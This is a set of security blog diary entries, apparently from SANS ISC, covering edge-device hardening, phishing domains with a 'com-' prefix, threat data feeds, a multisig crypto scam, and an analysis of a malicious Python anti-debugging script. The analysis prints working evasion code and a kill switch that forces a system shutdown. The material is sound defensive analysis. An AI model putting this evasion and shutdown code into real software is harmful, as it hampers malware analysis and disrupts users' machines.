Before you do anything, limit access to admin interfaces, and do not forget access via SSH or APIs. At the bare minimum, access should only be available via the LAN interface. Carefully select any exposed services. SSH may be an option if you must have remote access or a VPN solution (many devices support Wireguard, OpenVPN, or other protocols). But the fewer options you enable, the better. Avoid exposing web-based APIs, admin interfaces, or SSL VPN gateways at all costs. HTTPs will not protect you in this case. The issue is numerous web application vulnerabilities that keep popping up in these devices. Move any exposed admin services (HTTPS or SSH) to non-default ports.

Removing internet access to admin features will eliminate the vast majority of threats. If you must expose a VPN or SSH, continue reading.

1 - Change Credentials and use MFA

Maybe this should be 0. Either way, Change your credentials. Your device doesn’t support MFA? Get a different one! Even open-source solutions usually support some kind of MFA these days. OPNSense makes it a bit painful, but it works. Maybe even use a different username instead of "admin" and disable "admin"/"root" if that is an option. It helps a bit. Harden protocols like SSH by using keys.

2 - Define a monthly "Router Update Day."

I don't care when. Third Thursday of the month, mornings, 10 am? Check if there is an update waiting; check the release notes. Is it important? Apply now. Can it wait? Apply later. Having redundant perimeter devices should be doable even for a smaller network. Add a monthly "perimeter update" reminder to your calendar. Some device manufacturers have mailing lists to notify you of updates or release updates on a specific schedule.

3 - Stay Open Source

Some may not agree with this advice. Commercial permitter security devices are often counterproductive. You can find well-respected, preconfigured, open-source perimeter security devices. For smaller networks, OpenWRT will work great. Use PFSense or OPNSense if you operate a more complex network or need additional features. Open-source packages provide much longer support timelines for existing hardware. Updates are usually painless, support is easy to come by, and, most importantly, You will have more insight into how the device works. Commercial systems make it sound like it is worth spending a lot of money to get less: A black box with a lot of magic packet dust. However, you will not be able to understand how the device works and how to debug it effectively. Some people say that you "pay with your time". The opposite is true in this case: Understanding and maintaining a closed-source solution for perimeter security devices is often more time-consuming or MUCH MORE expensive. 

If it makes the boss happy, Buy a support contract. Multiple companies or developers behind the particular solution will offer commercial support contracts at competitive prices for all the open-source solutions mentioned above.

4 - Mark the Devices Expiration Date

Every device has an expiration date. As you purchase it, define how long the device will be in your network. Keep yourself honest. Apply a sticker to the device noting when and where it was purchased (nice for warranty, too) and when it is supposed to be replaced.

5 - Create Automated Configuration Backups

Once a day? The important part is to automate it. It will not happen unless you automate it. These configuration backups are essential for configuration downgrades to recover from a lousy upgrade quickly or if you need to replace a device. Sadly, this often requires a distinct process.

6 - Edge Devices are Endpoints too

So install endpoint protection software! OPNsense supports Wazuh (I think PFSense, too). Find out what works for your device. At the very least, monitor unapproved changes to the configuration backups. This may be an area where you want to spend some money on commercial software if needed and if it is applicable.

[1] https://www.cisa.gov/resources-tools/resources/guidance-and-strategies-protect-network-edge-devices

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

The title of this diary is based on the string I found in a malicious Python script that implements many anti-debugging techniques. If some were common, others were interesting and demonstrated how low-level high-level languages like Python can access operating system information. Let’s review some of them!

Anti-debugging techniques are like a cat-and-mouse game. If you’re interested in malware analysis, this will show you how your task can be much more challenging if you’re prepared to face them. The file was found on VT with a low score of 2/62[1] (SHA256: 3a216b238bae042312ab810c0d07fdc49e8eddc97a2dec3958fb6b1f4ecd4612). The file just contains only anti-debugging stuff and not real malware. I suspect the file to be a proof-of-concept.

The script is multi-threaded and launches all the techniques in parallel:

def anti_debug_check():
    """ ? The Unbreakable Multi-Layer Anti-Debugging System """
    threads = [
        threading.Thread(target=detect_debugger),
        threading.Thread(target=detect_debugger_processes),
        threading.Thread(target=detect_vm),
        threading.Thread(target=detect_api_hooks),
        threading.Thread(target=detect_breakpoints),
        threading.Thread(target=detect_sandbox),
        threading.Thread(target=detect_cpu_usage),
        threading.Thread(target=detect_memory_tampering),
        threading.Thread(target=detect_mouse_movements),
        threading.Thread(target=detect_execution_speed),
        threading.Thread(target=detect_registry_keys),
        threading.Thread(target=detect_screenshot),
        threading.Thread(target=infinite_loop_debugger_trap),
        threading.Thread(target=inject_fake_code),
        threading.Thread(target=polymorphic_self_mutation)
    ]
    for t in threads:
        t.daemon = True
        t.start()
    for t in threads:
        t.join()

Let’s focus on the interesting ones. « polymorphic_self_mutation » will change the Python script file. In a Python program, the variable "__file__" contains the path of the currently executed script. This variable is used to read the content of the script, randomize the lines, and overwrite it:

def polymorphic_self_mutation():
    """ ? Self-Mutating Code to Avoid Static Analysis """
    with open(__file__, "r", encoding="utf-8") as f:
        lines = f.readlines()
    with open(__file__, "w", encoding="utf-8") as f:
        random.shuffle(lines)
        f.writelines(lines)

The new file will have, for example, a different hash and will be more difficult to hunt.

The next technique is a typical Python trick provided by sys.gettrace[2]. If a debugger is attached to the Python process, this function will return a trace function. The purpose of this technique is to loop forever if a debugger is attached to the Python script. 

def infinite_loop_debugger_trap():
    """ ? If Debugger is Attached, Trap it in an Infinite Loop """
    while sys.gettrace():
        pass  # Debugger is stuck here forever

I like the « memory tampering » technique: The script computes its hash and recheck it at regular intervals:

def detect_memory_tampering():
    original_hash = hashlib.md5(open(sys.argv[0], "rb").read()).hexdigest()
    while True:
        time.sleep(2)
        current_hash = hashlib.md5(open(sys.argv[0], "rb").read()).hexdigest()
        if current_hash != original_hash:
            kill_system()

The next one relies on the API call IsDebuggerPresent(). This one is often hooked to prevent the simple detection of a debugger. The value 0xE9 is the op-code for a long jump… This hooking technique is called « trampoline ». If the very first byte of the API call loaded in memory is 0xE9, it has been hooked!

def detect_api_hooks():
    kernel32 = ctypes.windll.kernel32
    original_bytes = ctypes.create_string_buffer(5)
    kernel32.ReadProcessMemory(kernel32.GetCurrentProcess(), kernel32.IsDebuggerPresent, original_bytes, 5, None)
    if original_bytes.raw[0] == 0xE9:  # Hook detected
        kill_system()

When you debug, you probably use breakpoints, right? The following code helps to detect hardware breakpoints:

def detect_breakpoints():
    context = ctypes.create_string_buffer(0x4C)
    context_ptr = ctypes.byref(context)
    context_offset = struct.calcsize("Q") * 6
    ctypes.windll.kernel32.RtlCaptureContext(context_ptr)
    dr0, dr1, dr2, dr3 = struct.unpack_from("4Q", context.raw, context_offset)
    if dr0 or dr1 or dr2 or dr3:
        kill_system()

Hardware breakpoints are used to avoid patching the program. They contain the address where to pause the execution. Hardware breakpoints are CPU registers: DRO to DR3 (on Intel CPU’s). RtlCaptureContext()[3] is used to get the current threat’s execution state which includes the registers. With the help of unpack, the script fills the variable corresponding to the registers, if one of them is not empty, there is a hardware breakpoint defined!

Other checks are really common: detection of suspicious process names, and specific registry keys, … I'll not cover them.

You can see that all functions will call kill_system() if tests are successful. This function will just annoy the malware analysts by crashing (or trying to crash) the system:

def kill_system():
    """ ? THE ULTIMATE KILL-SWITCH ? """
    try:
        ctypes.windll.ntdll.NtRaiseHardError(0xDEADDEAD, 0, 0, 0, 6, ctypes.byref(ctypes.c_ulong()))
    except:
        os.system("shutdown /s /t 0")  # Force shutdown

The purpose of the function is easy to understand but when NtRaiseHardError[4] is invoked, it does not automatically cause a kernel panic or system-wide crash. Instead, the system can handle the error in various ways, including logging the event, presenting an error dialog, or terminating the application that called the function. I tried in a VM:

C:\Users\REM>python
Python 3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:18:55) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import ctypes
>>> ctypes.windll.ntdll.NtRaiseHardError(0xDEADDEAD, 0, 0, 0, 6, ctypes.byref(ctypes.c_ulong()))
-1073741727
>>>

When you convert the value -1073741727 to hexadecimal, you get 0xC000001F, which is a Windows NTSTATUS code. Specifically, this error code indicates a STATUS_INVALID_PARAMETER error...

The Python script is a great example of multiple techniques that can be implemented in malware!

[1] https://www.virustotal.com/gui/file/3a216b238bae042312ab810c0d07fdc49e8eddc97a2dec3958fb6b1f4ecd4612/detection
[2] https://docs.python.org/3/library/sys.html#sys.gettrace
[3] https://learn.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-rtlcapturecontext
[4] https://github.com/AgnivaMaity/NtRaiseHardError-Example

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Phishing is always a "whack the mole" like game. Attackers come up with new ways to fool victims. Security tools are often a step behind. Messages claiming to collect unpaid tolls are one current common theme among phishing (smishing?) messages. I just received another one today:

The FBI's Internet Crime Complaint Center warned of these types of messages last April [1]. The message was pretty easily identified as fraud by the "From" number, a phone number in the Phillipines. But I found the domain clever.

Florida's toll system is commonly referred to as "Sunpass", and the legitimate website is sunpass.com. The scammer attempted to emulate this name by using a domain that starts with "com-". An unsuspecting user may consider this a valid sunpass.com address.

So I looked at our "newly registered domains" data to see how many "com-*" domains we have, and this prefix looks indeed popular, usually followed by a few random characters:

Here are a few example:

com-typopn.top
com-tyuiop.top
com-uilqsc.top
com-vfgbnj.top
com-wsxder.top
com-xyuoph.top
com-ywbl.top
com-yzgv.top
com-zfrulb.top pish

Looking at the Top 10 TLDs used for these domains, the usual "dirty" gTLDs like "top" and "XYZ" stick out, but "com", "info" and "us" are also included:

The registrations vary over time, but as of November last year, the registrations have increased somewhat.

Overall, it is likely worthwhile to add a query to your DNS logs to review lookups for these domains. I found 10% of the domains from the last few days in Phishtank. Many of the remaining were confirmed malicious as well. Luckily, many appear to have already been taken down. However, I have not spotted a valid side among the last 1,000 registered domains.

[1] https://www.ic3.gov/PSA/2024/PSA240412

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

We have offered several different data feeds via our API or other means. However, we are often not very good at documenting what these feeds are all about. Currently, I am in the process of fixing the documentation around these data feeds.

These data feeds are used to augment our data, but may also be helpful to add "color to your logs", which is how I see most of this data being used. Many data feeds do not contain lists of IPs that should be classified as malicious. For example, we attempt to collect IP addresses of public NTP servers. These are usually part of "pool.ntp.org". We are collecting them because they have triggered false positives. Knowing that an IP address is associated with a public NTP server in case you see odd traffic from or to port 123 is helpful.

Just last week, I came across another resource that I found helpful: rosti.bin.re extracts IoCs from various sources like news articles and blog posts. I added this data to our "IP Info" page to provide this useful context in case you are searching for an IP.

The data we produce is published under a "Creative Commons" license. You may use the data for free if you acknowledge the source and do not resell the data. We do not offer commercial licenses, but if you ask nicely and do not play stupid vendor tricks, we will sometimes allow commercial use. Using the data to help you secure your network is always okay, even if the network is commercial. All data is provided "as is" and we are not responsible if you break your network, lose your job, or start a nuclear war by replacing your dead man switch with our API.

So why do we not make these lists simple "blocklists" for your firewall? In my opinion, most of these lists are stupid, and ours would not be any better. I am not able to tell you what IPs you should block. Many of these IPs exploit well-known vulnerabilities. Spend your time fixing the vulnerability. We will never have a list of all IPs exploiting a particular vulnerability, and the list will never be free of false positives. Consume the data responsibly. We are not going to help you waste time or money. If you need help with that, please contact your enterprise security vendor.

We do, however, always like your data :). The best way to say "Thank You" is to run a honeypot and feed us data. We also appreciate feedback and suggestions for other data sources. Please use our contact page to provide feedback. We would particularly like to hear how you use our data.

Initial data feed documentation

Creative Commons License

Documentation for our API

Example "IP Info" Page (note: you may just enter an IPv4 address into the search box at the top of the page)

I realize the "IP Info" page does not look great. But before you call my baby ugly, send me a suggestion/mockup how to fix it.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Johannes noticed a SPAM comment on his YouTube channel:

It was clear to us that this was a scam, but it wasn't clear to us how it worked.

The seed phrase allows you to derive the private keys of the wallets, and gives you full control over the wallet. And as security professionals, we know you must never share private keys. So the scammer wants us to think that they shared their private keys without understanding the risk. And thus creating a (false) opportunity for dishonest people wanting to appropriate the content of the wallet. Because you have the private keys, you can move the funds out of the wallet to your own wallet.

So one could install wallet software and use the private key to control the wallet.

But let's do this a bit differently.

Mnemonic Code Converter is an online/offline HTML page that takes seed phrases and converts them to a seed (BIP39) and addresses (BIP44).

Doing this for the scammer's seed phrase give this:

I had to select a coin to derive the addresses. USDT (a stablecoin for the US Dollar) is mentioned in the scam comment, but it's not an option in this page. I did some research, and discovered that USDT is a token that can be exchanged on different networks. The most popular network is Tron, and that coin is TRX. So let's try coin TRX:

That address is indeed active on the Tron blockchain :

This wallet contains $5000+, mostly in USDT, and a small bit in TRX. It's a real wallet, and it contains real assets. So what's the scam, why hasn't this money been moved out of the wallet yet?

One thing, notice this at the top of the page:

This means that this is a multi-signature wallet (it has not one private key, like classic wallets, but it has multiple private keys), and that the published seed phrase doesn't give you control over the wallet. To move money out of the wallet, you need the private key of the address mentioned in the permissions (TGk...).

So that's why there is still $5000+ in this wallet.

Second thing, to move the $5000+ USDT tokens out of the wallet, you need to pay a fee with TRX tokens. And the amount of TRX tokens in the wallet is not sufficient to pay the fee. Thus you can't move the USDT tokens to your own wallet. And it's here that dishonest people get scammed.

They will move some of their own TRX into the wallet, and then use that to pay the fee to try to transfer the USDT to their own wallet (it won't work).

We can see this happening in the transaction history of this wallet:

Small amounts of TRX are transfered to this wallet.

So this scam is targetting versed cryptocurrency users: you need to know that TRX coins are necessary to move USDT tokens out of a TRX wallet (I didn't know this).

But why would experienced cryptocurrency users not notice that this is a multisig wallet and that the seed phrase doesn't give them control over the wallet?

Maybe the explanation lies in the fact that the OKX wallet (mentioned in the scam comment) doesn't display that information (alledgedly, there are wallet applications that do flag multisig wallets).

After moving some TRX coins into the wallet, the transfer of USDT tokens is still not possible because of permissions, and the scam victims can't recover their TRX coins, because that transfer is also not possible because of permissions.

I'm not well versed in cryptocurrency, please post a comment if you want to correct or complement things I explain here, or if you have different explanations. I used the following resources for my research:

https://www.reddit.com/r/CryptoScams/comments/1i95pk0/how_is_this_scam_working/

https://inleo.io/@bil.prag/crypto-scam-in-youtube-comment-5cs

https://www.reddit.com/r/Bitcoin/comments/10nmirl/how_to_get_publicprivate_key_of_an_address_using/

https://tronscan.io/#/address/TAy4omTf7uENvTm2QrT22ZY8BvdrjXUKzC

Didier Stevens
Senior handler

blog.DidierStevens.com